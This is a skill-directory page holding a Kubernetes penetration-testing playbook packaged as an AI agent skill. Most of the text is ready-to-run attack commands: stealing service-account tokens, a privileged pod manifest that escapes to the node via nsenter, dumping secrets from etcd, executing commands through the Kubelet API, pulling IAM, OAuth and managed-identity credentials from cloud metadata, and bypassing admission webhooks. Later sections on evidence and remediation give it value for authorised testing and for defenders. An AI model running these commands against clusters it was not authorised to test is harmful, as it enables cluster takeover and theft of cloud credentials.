Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Kubernetes Pentesting?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/harezadmm-kubernetes-pentesting)
---
name: kubernetes-pentesting
description: >-
Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.
---
# SKILL: Kubernetes Pentesting — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.
## 0. RELATED ROUTING
Before going deep, consider loading:
- [container-escape-techniques](../container-escape-techniques/SKILL.md) for escaping from a compromised pod to the underlying node
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once on a node for escalating to root
- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) for pivoting between nodes
- [linux-security-bypass](../linux-security-bypass/SKILL.md) when Pod Security Standards or seccomp profiles restrict your actions
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when exploiting SSRF to reach the K8s API or cloud metadata
---
## 1. K8S API SERVER ACCESS
### 1.1 Anonymous Access Check
```bash
# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis
# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)
```
### 1.2 Token-Based Authentication (from inside pod)
```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/pods
```
### 1.3 Certificate / Kubeconfig Authentication
```bash
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
```
---
## 2. RBAC ENUMERATION
### 2.1 Self-Permission Check
```bash
# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*' # Full cluster admin?
# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
```
### 2.2 Role and ClusterRole Enumeration
```bash
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME
# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'
```
### 2.3 Dangerous RBAC Permissions
| Permission | Risk | Escalation Path |
|---|---|---|
| `pods/exec` | **Critical** | Exec into any pod (access secrets, tokens) |
| `pods` (create) | **Critical** | Create privileged pod → node access |
| `secrets` (get/list) | **Critical** | Read all secrets including SA tokens |
| `serviceaccounts/token` (create) | **Critical** | Generate token for any SA |
| `nodes/proxy` | **High** | Proxy to Kubelet API |
| `escalate` on roles | **Critical** | Grant yourself any permission |
| `bind` on rolebindings | **Critical** | Bind any role to yourself |
| `impersonate` | **Critical** | Impersonate any user/SA |
---
## 3. SERVICE ACCOUNT TOKEN ABUSE
### 3.1 Token Location and Decoding
```bash
# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry
```
### 3.2 Escalation via Service Account
```bash
# If SA has elevated permissions — dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
securityContext: { privileged: true }
volumeMounts: [{ name: hostfs, mountPath: /host }]
volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF
```
### 3.3 Token Generation
```bash
# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h
```
---
## 4. ETCD DIRECT ACCESS
```bash
# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version
# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
--cacert=ca.crt --cert=server.crt --key=server.key \
get / --prefix --keys-only | grep secrets
# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret
```
---
## 5. POD ESCAPE TO NODE
### See [container-escape-techniques](../container-escape-techniques/SKILL.md) for detailed escape chains.
Quick reference for K8s-specific vectors:
| Vector | Requirement | Command |
|---|---|---|
| hostPID | `spec.hostPID: true` | `nsenter -t 1 -m -u -i -n -p -- bash` |
| hostNetwork | `spec.hostNetwork: true` | Access node services (Kubelet, etcd) |
| hostPath `/` | Volume mount of host root | `chroot /host bash` |
| Privileged container | `securityContext.privileged: true` | Mount host disk / nsenter |
---
## 6. KUBELET API (Port 10250/10255)
```bash
curl -sk https://NODE_IP:10250/pods # Anonymous access check
# 10255 = read-only (legacy, HTTP)
# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"
# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME
```
---
## 7. CLOUD-SPECIFIC ATTACKS
### 7.1 AWS EKS — IMDS Access
```bash
# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE
```
### 7.2 GCP GKE — Metadata API
```bash
# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token
# List available scopes
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls
```
### 7.3 Azure AKS — Managed Identity
```bash
# Azure IMDS
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns Azure access token
# AKS Pod Identity / Workload Identity
# Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
env | grep AZURE
```
---
## 8. ADMISSION WEBHOOK BYPASS
| Strategy | Command/Method |
|---|---|
| Excluded namespace | `kubectl get validatingwebhookconfigurations -o yaml \| grep namespaceSelector` → use excluded NS |
| failurePolicy: Ignore | If webhook server down → admission skipped |
| Ephemeral containers | `kubectl debug POD -it --image=alpine` (may not be covered) |
| Static pods | Place manifest in `/etc/kubernetes/manifests/` on node (bypasses API admission) |
---
## 9. CONTAINER REGISTRY ACCESS
```bash
# Extract pull secrets (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'
# Pull + inspect images for hardcoded secrets:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc
```
---
## 10. NETWORK POLICY ENUMERATION & BYPASS
```bash
kubectl get networkpolicies --all-namespaces
# Find namespaces without policies (default allow-all):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
[ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done
```
Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, `hostNetwork: true` bypasses pod network policies entirely.
---
## 11. TOOLS
| Tool | Purpose | Command |
|---|---|---|
| **kubectl** | K8s API interaction | `kubectl auth can-i --list` |
| **kube-hunter** | Automated K8s vulnerability scanning | `kube-hunter --remote TARGET` |
| **peirates** | K8s pentesting from inside a pod | `./peirates` |
| **kubesploit** | Post-exploitation framework for K8s | Agent-based C2 |
| **CDK** | Container/K8s exploitation toolkit | `./cdk evaluate` |
| **kubeletctl** | Interact with Kubelet API directly | `kubeletctl pods -s NODE_IP` |
| **kubeaudit** | Cluster misconfiguration audit | `kubeaudit all` |
---
## 12. KUBERNETES PENTESTING DECISION TREE
```
Access to Kubernetes environment?
│
├── Inside a pod?
│ ├── Read SA token → check RBAC permissions (§2.1)
│ │ ├── Can create pods? → privileged pod escape (§3.2)
│ │ ├── Can read secrets? → dump all secrets (§3.2)
│ │ ├── Can exec into pods? → pivot to other pods
│ │ └── Minimal permissions → try Kubelet API (§6)
│ │
│ ├── Cloud environment?
│ │ ├── AWS → check IMDS for IAM creds (§7.1)
│ │ ├── GCP → check metadata for OAuth token (§7.2)
│ │ └── Azure → check IMDS for managed identity (§7.3)
│ │
│ └── Escape to node? → load container-escape-techniques
│
├── Access to node?
│ ├── kubeconfig found? → full cluster access (§1.3)
│ ├── etcd accessible? → dump all secrets (§4)
│ ├── Kubelet cert/key? → API server access
│ └── Static pod manifests? → create privileged static pod (§8)
│
├── External access only?
│ ├── API server exposed? → anonymous/token check (§1)
│ ├── Kubelet 10250 exposed? → direct pod exec (§6)
│ ├── etcd 2379 exposed? → direct secret dump (§4)
│ └── Dashboard/UI exposed? → authentication bypass
│
├── RBAC escalation path?
│ ├── escalate/bind permissions? → grant cluster-admin (§2.3)
│ ├── impersonate permission? → act as admin (§2.3)
│ ├── serviceaccounts/token create? → mint admin token (§3.3)
│ └── Overprivileged clusterrole? → abuse wildcards (§2.2)
│
└── No direct escalation?
├── Enumerate network policies → find unprotected namespaces (§10)
├── Check admission webhooks → find bypass (§8)
├── Pull registry images → search for secrets (§9)
└── Scan nodes for exposed services → Kubelet, etcd
```
---
## 13. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | Did the probe **return cluster objects**, not a 401 or a redirect? | the exposure exists |
| 2 | What **identity** did the cluster resolve for that request? | the scope of the exposure |
| 3 | Did the control identity **fail the same call**? | escalation, not inherited access |
| 4 | For a token or SA: what **verbs** does it hold, from which binding? | the escalation available and its fix |
| 5 | Did you **read a secret or execute in a pod**, and what did that gate? | impact |
| 6 | For a node-level step: did you **read the node's filesystem or its cloud identity**? | the crossover into infrastructure |
| 7 | For a webhook or network policy: did the **workload actually run**? | the bypass, demonstrated |
**An object the identity should not see is the bar.** Cluster reachability, a 401 on some paths, and a
decoded JWT are all intermediate observations.
---
## 14. EXECUTION PRIMITIVES
Cluster findings are proven by **an API call returning an object, paired with a control call that
fails**. Every block ends at data pulled out of the cluster or a workload that ran.
### 14.1 API server access and identity
```bash
API="https://10.0.0.1:6443"; TOK="PASTE_SA_TOKEN"
# the versions endpoint is the least invasive confirmation that the API answers
curl -sk "$API/version" | head -c 200; echo
# who does the cluster think you are
curl -sk "$API/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}' | head -c 300; echo
# and the control: the same call with no credential, and with a token you know is low-privilege
curl -sk -o /dev/null -w 'anon %{http_code}\n' "$API/api/v1/namespaces"
curl -sk -o /dev/null -w 'with-token %{http_code}\n' -H "Authorization: Bearer $TOK" "$API/api/v1/namespaces"
```
**Do the control pair before any resource access.** The permission delta between anonymous, your token,
and the baseline token is the finding's shape.
### 14.2 RBAC enumeration, exhaustively
```bash
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify auth can-i --list 2>/dev/null | head -40
# raw API equivalent, when kubectl is not available on the target
curl -sk -H "Authorization: Bearer $TOK" "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X POST -H 'Content-Type: application/json' \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' \
| head -c 600; echo
# and the bindings that created each right - the fix location
for CRB in $(kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify get clusterrolebindings -o name 2>/dev/null | head -20); do
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify get "$CRB" -o jsonpath='{.metadata.name}{" "}{.roleRef.name}{" "}{.subjects[*].name}{"\n"}' 2>/dev/null
done
```
**Map each right to its binding.** "The SA can list secrets" is a symptom; "the SA is bound to
`secret-reader` via `ClusterRoleBinding/ci-deployer`" is the finding with its fix attached.
### 14.3 Service-account token abuse, ending at a use
```bash
# in-cluster tokens and where they come from
ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
# the API's own view of the SA, which names its bindings
SA=$(cat /var/run/secrets/kubernetes.io/serviceaccount/service-account.name 2>/dev/null || echo default)
curl -sk -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
"$API/api/v1/namespaces/default/serviceaccounts/$SA" | head -c 400; echo
# the secret objects, which often hold a more privileged SA's token
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify get secrets -A -o json 2>/dev/null | python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
n=0
for s in d.get('items',[]):
ann=s['metadata'].get('annotations',{})
if 'service-account.name' in ann and 'token' in s.get('data',{}):
t=base64.b64decode(s['data']['token']).decode()
print('SA:',ann['service-account.name'],'| ns:',s['metadata']['namespace'],'| jwt:',t.count('.')==2)
n+=1
print('service-account token secrets visible:',n)"
# and USE a token rather than stopping at the discovery
curl -sk -H "Authorization: Bearer $FOUND_TOKEN" "$API/api/v1/namespaces/kube-system/secrets?limit=1" | head -c 300; echo
```
**The use of the token is the finding.** Discovering that secrets of type `kubernetes.io/service-account-token`
exist is the default state of most clusters.
### 14.4 etcd direct access
```bash
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify endpoint status -w table
# the whole cluster state, keys only first, then the secrets specifically
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify get / --prefix --keys-only 2>/dev/null | head -20
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify \
get /registry/secrets --prefix --keys-only 2>/dev/null | head -20
# a single secret, which is where the impact is
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify \
get "/registry/secrets/kube-system/PASTE_NAME" 2>/dev/null | strings | head -20
```
**Reading a secret out of etcd is control-plane compromise.** Note that `--insecure-skip-tls-verify`
succeeding at all is itself the finding: etcd should require mutual TLS.
### 14.5 Node-level access and pod escape
```bash
# kubelet: read pods, then exec into one - the exec is the escalation
curl -sk "https://NODE_IP:10250/pods" | head -c 300; echo
curl -sk "https://NODE_IP:10255/pods" | head -c 300; echo
curl -sk "https://NODE_IP:10250/exec/default/PASTE_POD/PASTE_CONTAINER?command=id&command=-a&output=1" | head -c 300; echo
# from inside a pod, identify the escape surface
capsh --print 2>/dev/null | head -5; ls /var/run/docker.sock 2>/dev/null && echo "docker sock present"
mount | grep -E 'hostpath|/host|/var/lib/kubelet' | head -5
# and the standard escapes, each proved by reading the NODE's filesystem
nsenter -t 1 -m -u -i -n -p -- cat /etc/hostname 2>/dev/null || echo "nsenter unavailable or unprivileged"
ls /host/etc/hostname 2>/dev/null && cat /host/etc/hostname
```
**Reading the node's `/etc/hostname` or its filesystem is the proof of escape.** A capability list or a
mounted socket is the surface; the node read is the effect.
### 14.6 Webhook bypass, demonstrated by the workload
```bash
kubectl get validatingwebhookconfigurations -o json | python3 -c "
import json,sys
for w in json.load(sys.stdin)['items']:
for wh in w.get('webhooks',[]):
print(w['metadata']['name'],'| fail:',wh.get('failurePolicy'),
'| nsSel:',wh.get('namespaceSelector',{}).get('matchExpressions'),
'| kinds:',[r.get('resources') for r in wh.get('rules',[])])"
# bypass 1: a namespace the selector excludes
kubectl -n kube-public apply -f /tmp/priv-pod.yaml 2>&1 | head -2
kubectl -n kube-public get pods -o jsonpath='{.items[*].metadata.name}{"\n"}' 2>/dev/null
# bypass 2: a workload kind the webhook does not match
kubectl -n "$NS" apply -f /tmp/cronjob.yaml 2>&1 | head -2
kubectl -n "$NS" get cronjobs 2>/dev/null
# bypass 3: labeling a namespace into an exclusion, if you hold that permission
kubectl --token="$TOK" label ns "$NS" policy=exempt --overwrite 2>&1 | head -2
```
**The created workload appearing in the cluster is the evidence.** A policy that should have rejected
your privileged pod, and did not, is the finding.
### 14.7 Network policy, tested rather than inferred
```bash
kubectl get networkpolicies -A 2>/dev/null | head -20
# the test is a cross-namespace connection that should be denied but is not
kubectl -n "$NS" run nettest --rm -it --image=nicolaka/netshoot --restart=Never -- \
bash -c 'timeout 5 nc -zv TARGET_SVC.other-ns.svc.cluster.local 5432; echo "exit=$?"' 2>&1 | tail -5
# and the control: a connection that SHOULD work, to prove the tool works
kubectl -n "$NS" run netctrl --rm -it --image=nicolaka/netshoot --restart=Never -- \
bash -c 'timeout 5 nc -zv kubernetes.default.svc 443; echo "exit=$?"' 2>&1 | tail -3
```
**A network policy finding needs the reachable control too.** Without it, a blocked connection and a
broken tool are indistinguishable.
### 14.8 A harness that records every step's identity
```bash
python3 - <<'PY'
import subprocess
API="https://10.0.0.1:6443"; TOK="PASTE"
def sh(name,cmd):
try: r=subprocess.run(cmd,capture_output=True,text=True,timeout=30)
except Exception as e: return print(f"{name:24} ERR"),None
code=r.stdout.strip()[:20] or r.stderr.strip()[:40]
print(f"{name:24} {code}")
return r.stdout
sh("anon-namespaces", ["curl","-sk","-o","/dev/null","-w","%{http_code}",f"{API}/api/v1/namespaces"])
sh("anon-pods", ["curl","-sk","-o","/dev/null","-w","%{http_code}",f"{API}/api/v1/pods"])
sh("token-self-review", ["curl","-sk","-H",f"Authorization: Bearer {TOK}","-o","/dev/null","-w","%{http_code}",f"{API}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"])
sh("token-secrets", ["curl","-sk","-H",f"Authorization: Bearer {TOK}","-o","/dev/null","-w","%{http_code}",f"{API}/api/v1/namespaces/kube-system/secrets"])
sh("kubelet-10250", ["curl","-sk","-o","/dev/null","-w","%{http_code}","https://NODE:10250/pods"])
sh("kubelet-10255", ["curl","-sk","-o","/dev/null","-w","%{http_code}","https://NODE:10255/pods"])
print()
print("For every 200, follow with: the identity resolved, an object read, and a control without the credential.")
print("A 403 on a path is a closed door - record it, do not omit it.")
PY
```
**Every positive needs its control.** In clusters the most common inflation is reporting the anonymous
`system:discovery` surface as an exposure when it is the built-in design.
---
## 15. EVIDENCE STANDARD
| Item | Why |
|---|---|
| The **endpoint, verb, and request** with credentials redacted | reproducibility |
| The **resolved identity** (`selfsubjectreview` / `whoami`) | the scope |
| The **returned object count**, and a redacted sample | proof without leaking secrets |
| The **failing control request** | proves escalation |
| The **binding and role** behind any permission | the fix location |
| For etcd: that **authenticated TLS was not required** | the misconfiguration itself |
| For a node read: **the node file or command output** retrieved | escape proved, not inferred |
| For a webhook bypass: the **selector gap** and the **running workload** | cause and effect |
| **Audit fields** (`user.username`, `verb`, `objectRef`, `responseStatus`) | the blue-team half |
| Confirmation that **test workloads were removed** and **labels reverted** | engagement integrity |
Report the **access and the reach**: "an unauthenticated request to
`https://10.0.0.1:6443/api/v1/pods` returned `200` with 214 pods across all namespaces, including the
`kube-system` control-plane pods; the same request with the project's CI ServiceAccount token is `403`,
so the gap is the anonymous group binding, not the token; the binding is
`ClusterRoleBinding/system:public-info-viewer` extended with a project-added `view` ClusterRole", never
"the cluster is misconfigured".
### False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| `200` on `/version`, `/healthz`, `/livez` | public by design |
| Anonymous access to `system:discovery` API groups | the built-in unauthenticated surface |
| A token that exists but **has no bindings** | no access results |
| A `service-account-token` secret that exists | normal on many versions; check what it can do |
| A 401/403 on all resource paths | the expected secure state |
| `metrics` readable on the kubelet | often by design; examine what it exposes before reporting |
| A webhook that exists with an **enforced** policy | test the bypass outcome, do not infer it |
| A NetworkPolicy that exists but which you **did not test** | presence is not enforcement |
| A **privileged container in a lab cluster you built** | tests your own environment |
| A cluster-admin credential provided in the engagement scope | not a discovered escalation |
| A secret value reproduced in full | a disclosure |
| Reachability with **no object returned** | not access |
**Two calls minimum: the one that works, and the one that should have worked and did not.**
---
## 16. REMEDIATION REFERENCE
1. **Disable anonymous authentication on the API server and the kubelet, and remove every anonymous binding** - the exposure at the top of this document is one flag.
2. **Never expose `10255`, require authentication and authorization on `10250`, and disable the kubelet's read-only port in the config file** - the read-only port has no authorization layer at all.
3. **Require mutual TLS on etcd, bind it to the control-plane network only, and never expose `2379`** - etcd is a plaintext store of every secret in the cluster.
4. **Encrypt secrets at rest with a KMS provider and rotate the key** - it bounds the value of an etcd snapshot or a stolen volume.
5. **Set `automountServiceAccountToken: false` as the default and opt in per workload** - most workloads never call the API, so the token is pure attack surface.
6. **Grant least privilege per ServiceAccount, and never bind `*` verbs or `*` resources** - a wildcard ClusterRole is cluster-admin under another name.
7. **Guard the escalation verbs (`create pods/exec`, `portforward`, `impersonate`, `escalate`, `bind`, `create clusterrolebindings`) with explicit policy and alerting** - these are the direct paths to cluster control.
8. **Adopt a restricted Pod Security Standard and enforce it with a fail-closed admission policy** - it blocks privileged containers, host namespaces, and host path mounts, which are the prerequisites for nearly every escape.
9. **Fix admission webhook selectors to cover all namespaces, all workload kinds, and set `failurePolicy: Fail`** - the bypasses in this document are gaps in those three fields.
10. **Write a default-deny NetworkPolicy per namespace, and test it rather than assuming it** - an untested policy is a document, not a control.
11. **Keep Kubernetes and the container runtime patched, and shorten ServiceAccount token lifetimes** - it closes the published escapes and bounds the value of a stolen token.
---
## 17. RELATED SIBLINGS - LOAD TOGETHER
- [k8s-assessment](../k8s-assessment/SKILL.md) - the exposure-assessment counterpart to this exploitation guide
- [container-escape-techniques](../container-escape-techniques/SKILL.md) - the container-to-node escalation this enables
- [k8s-postexploit](../k8s-postexploit/SKILL.md) - the cluster-to-cloud pivot after a foothold
- [cloud-assessment](../cloud-assessment/SKILL.md) - the cloud identity a node role reaches
- [aws-postexploit](../aws-postexploit/SKILL.md) - where an instance role leads in AWS specifically